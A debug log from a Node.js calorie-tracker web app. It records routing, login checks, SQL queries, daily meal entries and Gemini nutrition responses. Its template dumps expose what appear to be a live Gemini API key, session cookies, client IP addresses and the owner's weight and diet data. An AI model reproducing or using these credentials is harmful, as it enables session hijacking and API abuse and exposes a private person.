  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-14T08:04:49.453Z server-connect:router Serving templateView /calorie-tracker
2025-12-14T08:04:49.454Z server-connect:app Executing action step identify
2025-12-14T08:04:49.454Z server-connect:app options: { provider: 'security' }
2025-12-14T08:04:49.454Z server-connect:output identity: 1
2025-12-14T08:04:49.454Z server-connect:app Executing action step restrict
2025-12-14T08:04:49.454Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-14T08:04:49.454Z server-connect:output restrict: undefined
2025-12-14T08:04:49.454Z server-connect:router Render template calorie-tracker
2025-12-14T08:04:49.455Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"2f72-tArYNHOgADdpOzGg5tUkcENDfOQ"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3At5nGNqr3SVo%2FChwQooerSQ%3D%3D.eMRt48dC32ChQ5AKz2SpilFlEW6qSdW6sTUviYnBEaFo9tg%2F8p%2FfUgy2wiqyp3GN4lkunUniMDO3XYSgrzjl7O8UgrZn%2FUdr9U3Jc15J%2FMlJztnVsWWM917Wf%2B3%2FXHnzU%2B%2FUIWOAsXLSnFQtsq%2Bbd%2FpHxomDiTMeRY9rtdu7BjM%3D.jCt8VSI6frs%2BTkpYuvLj3R0ceQAlOs%2FpeFZ%2B37%2FWb8E; your_r_git.sid=s%3A34xWocA8KQN9MG_Ugw-4Z0qTJtNAYPX5.LZNhHT90Le%2F7JhK8W0Mil3d9LmxXXo1sdraq0yvhjjA',
    'x-forwarded-for': '157.48.246.94',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-15T07:59:07.603Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '157.48.246.94',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"2f72-tArYNHOgADdpOzGg5tUkcENDfOQ"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3At5nGNqr3SVo%2FChwQooerSQ%3D%3D.eMRt48dC32ChQ5AKz2SpilFlEW6qSdW6sTUviYnBEaFo9tg%2F8p%2FfUgy2wiqyp3GN4lkunUniMDO3XYSgrzjl7O8UgrZn%2FUdr9U3Jc15J%2FMlJztnVsWWM917Wf%2B3%2FXHnzU%2B%2FUIWOAsXLSnFQtsq%2Bbd%2FpHxomDiTMeRY9rtdu7BjM%3D.jCt8VSI6frs%2BTkpYuvLj3R0ceQAlOs%2FpeFZ%2B37%2FWb8E; your_r_git.sid=s%3A34xWocA8KQN9MG_Ugw-4Z0qTJtNAYPX5.LZNhHT90Le%2F7JhK8W0Mil3d9LmxXXo1sdraq0yvhjjA',
    'HTTP_X_FORWARDED-FOR': '157.48.246.94',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-14T08:04:49.813Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-14T08:04:49.814Z server-connect:app Executing action step identify
2025-12-14T08:04:49.814Z server-connect:app options: { provider: 'security' }
2025-12-14T08:04:49.814Z server-connect:output identity: 1
2025-12-14T08:04:49.814Z server-connect:app Executing action step restrict
2025-12-14T08:04:49.814Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-14T08:04:49.814Z server-connect:output restrict: undefined
2025-12-14T08:04:49.814Z server-connect:app Executing action step single
2025-12-14T08:04:49.814Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-14T08:04:49.816Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-14T08:04:49.816Z server-connect:app Executing action step select
2025-12-14T08:04:49.816Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-14T08:04:49.817Z server-connect:output item_list: [
  {
    id: 387,
    intake_date: '2025-12-13T18:30:00.000Z',
    item_name: 'Salted Fries',
    calories: 210,
    protein_gm: 3,
    carbs_gm: 28,
    fat_gm: 11,
    quantity: 'Few pieces (approx 70g)',
    replacements: 'Baked potato wedges,Air-fried sweet potato fries,Roasted vegetables,Oven-baked fries (with minimal oil)',
    created_at: '2025-12-14T02:31:14.000Z',
    skip_level: 3,
    skip_reason: 'Deep-fried, high in unhealthy fats and refined carbohydrates. It offers minimal protein and micronutrients, contributing to empty calories which is counterproductive for muscle development and fat loss.'
  },
  {
    id: 388,
    intake_date: '2025-12-13T18:30:00.000Z',
    item_name: 'Ginger Ale',
    calories: 66,
    protein_gm: 0,
    carbs_gm: 17,
    fat_gm: 0,
    quantity: 'Half (approx 165ml, based on a standard 330ml can)',
    replacements: 'Water,Sparkling water with a slice of ginger/lemon,Diet ginger ale (use sparingly),Unsweetened herbal tea',
    created_at: '2025-12-14T02:31:14.000Z',
    skip_level: 3,
    skip_reason: 'High in added sugars and offers empty calories with no nutritional value (protein, fiber, vitamins) for muscle growth or overall health. Leads to unnecessary blood sugar spikes.'
  },
  {
    id: 389,
    intake_date: '2025-12-13T18:30:00.000Z',
    item_name: 'Paneer Pakoda',
    calories: 128,
    protein_gm: 5,
    carbs_gm: 9,
    fat_gm: 9,
    quantity: '1 piece (approx 40g)',
    replacements: 'Grilled paneer,Tandoori paneer,Paneer tikka,Baked paneer pakoda (using minimal oil),Paneer bhurji',
    created_at: '2025-12-14T02:31:14.000Z',
    skip_level: 2,
    skip_reason: 'While paneer provides protein, this item is deep-fried, leading to high unhealthy fat and calorie content from the frying oil and besan (gram flour) batter. Healthier, non-fried forms of paneer are much more beneficial for muscle development.'
  }
]
2025-12-14T08:04:49.817Z server-connect:app Executing action step setvalue
2025-12-14T08:04:49.817Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-14T08:04:49.817Z server-connect:output var_total: 404
2025-12-14T08:04:49.817Z server-connect:app Executing action step setvalue
2025-12-14T08:04:49.817Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-14T08:04:49.817Z server-connect:output var_consumed: 17
2025-12-14T08:04:49.817Z server-connect:app Executing action step setvalue
2025-12-14T08:04:49.817Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-14T08:04:49.818Z server-connect:output var_deficit: 1996
2025-12-14T08:04:49.818Z server-connect:app Executing action step custom
2025-12-14T08:04:49.818Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-14T08:04:49.819Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  }
]
2025-12-14T08:04:58.354Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-14T08:04:58.354Z server-connect:app Executing action step identify
2025-12-14T08:04:58.354Z server-connect:app options: { provider: 'security' }
2025-12-14T08:04:58.355Z server-connect:output identity: 1
2025-12-14T08:04:58.355Z server-connect:app Executing action step restrict
2025-12-14T08:04:58.355Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-14T08:04:58.355Z server-connect:output restrict: undefined
2025-12-14T08:04:58.355Z server-connect:app Executing action step processWithGemini
2025-12-14T08:04:58.355Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-14T08:05:06.951Z server-connect:output calculate_calorie: {
  items: [],
  total_calories: null,
  total_protein: null,
  total_carbs: null,
  total_fat: null,
  macros_unit: 'grams',
  overall_recommendation: "The input 'Nom nom platter' is not specific enough to identify food items or quantities. Please provide a clear list of food items and their amounts (e.g., '2 chapatis', '1 bowl of dal', '100g chicken', '1 glass milk') for a comprehensive calorie and macro analysis, along with personalized health recommendations for your muscle development goal."
}
2025-12-14T08:05:15.020Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-14T08:05:15.020Z server-connect:app Executing action step identify
2025-12-14T08:05:15.020Z server-connect:app options: { provider: 'security' }
2025-12-14T08:05:15.021Z server-connect:output identity: 1
2025-12-14T08:05:15.021Z server-connect:app Executing action step restrict
2025-12-14T08:05:15.021Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-14T08:05:15.021Z server-connect:output restrict: undefined
2025-12-14T08:05:15.021Z server-connect:app Executing action step processWithGemini
2025-12-14T08:05:15.021Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-14T08:05:25.638Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Unspecified Food Platter (Nom nom platter)',
      quantity: null,
      total_calories: null,
      protein: null,
      carbs: null,
      fat: null,
      lower_calorie_alternatives: [],
      skip_level: 3,
      skip_reason: "The input 'Nom nom platter' is a general phrase and does not specify individual food items or their quantities. Therefore, it is impossible to calculate calories, macros, or provide specific dietary advice for muscle development. Please provide a detailed list of food items and their quantities (e.g., '2 chapatis', '1 bowl dal', '1 apple') for an accurate analysis."
    }
  ],
  total_macros: { protein: null, carbs: null, fat: null, unit: 'g' },
  overall_message: 'Please provide a more specific list of food items and their quantities for a detailed nutritional analysis tailored to your muscle development goal.'
}
2025-12-14T08:21:35.702Z server-connect:router Serving templateView /
2025-12-14T08:21:35.703Z server-connect:app Executing action step identify
2025-12-14T08:21:35.703Z server-connect:app options: { provider: 'security' }
2025-12-14T08:21:35.703Z server-connect:auth No login cookie found
2025-12-14T08:21:35.703Z server-connect:output identity: false
2025-12-14T08:21:35.703Z server-connect:app Executing action step restrict
2025-12-14T08:21:35.703Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-14T08:21:35.704Z server-connect:output restrict: undefined
2025-12-14T08:21:36.080Z server-connect:router Serving templateView /login
2025-12-14T08:21:36.080Z server-connect:app Executing action step identify
2025-12-14T08:21:36.081Z server-connect:app options: { provider: 'security' }
2025-12-14T08:21:36.081Z server-connect:auth No login cookie found
2025-12-14T08:21:36.081Z server-connect:output identity: false
2025-12-14T08:21:36.081Z server-connect:router Render template layouts/authentication
2025-12-14T08:21:36.081Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'accept-language': 'en-US,en;q=0.5',
    'accept-encoding': 'gzip',
    connection: 'keep-alive',
    'upgrade-insecure-requests': '1',
    'sec-fetch-dest': 'document',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-site': 'none',
    'sec-fetch-user': '?1',
    priority: 'u=0, i',
    'x-forwarded-for': '146.190.144.220',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-15T08:21:36.080Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: false,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '146.190.144.220',
    REQUEST_PROTOCOL: 'http',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'http://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    'HTTP_SEC_FETCH-DEST': 'document',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-USER': '?1',
    HTTP_PRIORITY: 'u=0, i',
    'HTTP_X_FORWARDED-FOR': '146.190.144.220',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz'
  },
  identity: false,
  content: '/login'
}
2025-12-14T08:21:37.221Z server-connect:router Serving templateView /
2025-12-14T08:21:37.221Z server-connect:app Executing action step identify
2025-12-14T08:21:37.221Z server-connect:app options: { provider: 'security' }
2025-12-14T08:21:37.222Z server-connect:auth No login cookie found
2025-12-14T08:21:37.222Z server-connect:output identity: false
2025-12-14T08:21:37.222Z server-connect:app Executing action step restrict
2025-12-14T08:21:37.222Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-14T08:21:37.223Z server-connect:output restrict: undefined
2025-12-14T08:21:41.628Z server-connect:router Serving templateView /login
2025-12-14T08:21:41.629Z server-connect:app Executing action step identify
2025-12-14T08:21:41.629Z server-connect:app options: { provider: 'security' }
2025-12-14T08:21:41.629Z server-connect:auth No login cookie found
2025-12-14T08:21:41.629Z server-connect:output identity: false
2025-12-14T08:21:41.629Z server-connect:router Render template layouts/authentication
2025-12-14T08:21:41.629Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    connection: 'keep-alive',
    'sec-ch-ua': '"Chromium";v="142", "Not:A-Brand";v="24", "Brave";v="142"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Linux"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
    'sec-gpc': '1',
    'accept-language': 'en-US,en;q=0.5',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '146.190.144.220',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-15T08:21:41.628Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '146.190.144.220',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_SEC_CH-UA': '"Chromium";v="142", "Not:A-Brand";v="24", "Brave";v="142"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Linux"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
    HTTP_SEC_GPC: '1',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '146.190.144.220',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2025-12-14T08:25:57.011Z server-connect:router Serving templateView /
2025-12-14T08:25:57.011Z server-connect:app Executing action step identify
2025-12-14T08:25:57.012Z server-connect:app options: { provider: 'security' }
2025-12-14T08:25:57.012Z server-connect:output identity: 1
2025-12-14T08:25:57.012Z server-connect:app Executing action step restrict
2025-12-14T08:25:57.012Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-14T08:25:57.014Z server-connect:output restrict: undefined
2025-12-14T08:25:57.014Z server-connect:app Executing action step restrict
2025-12-14T08:25:57.014Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-14T08:25:57.014Z server-connect:output restrict: undefined
2025-12-14T08:25:57.014Z server-connect:router Render template layouts/main
2025-12-14T08:25:57.014Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
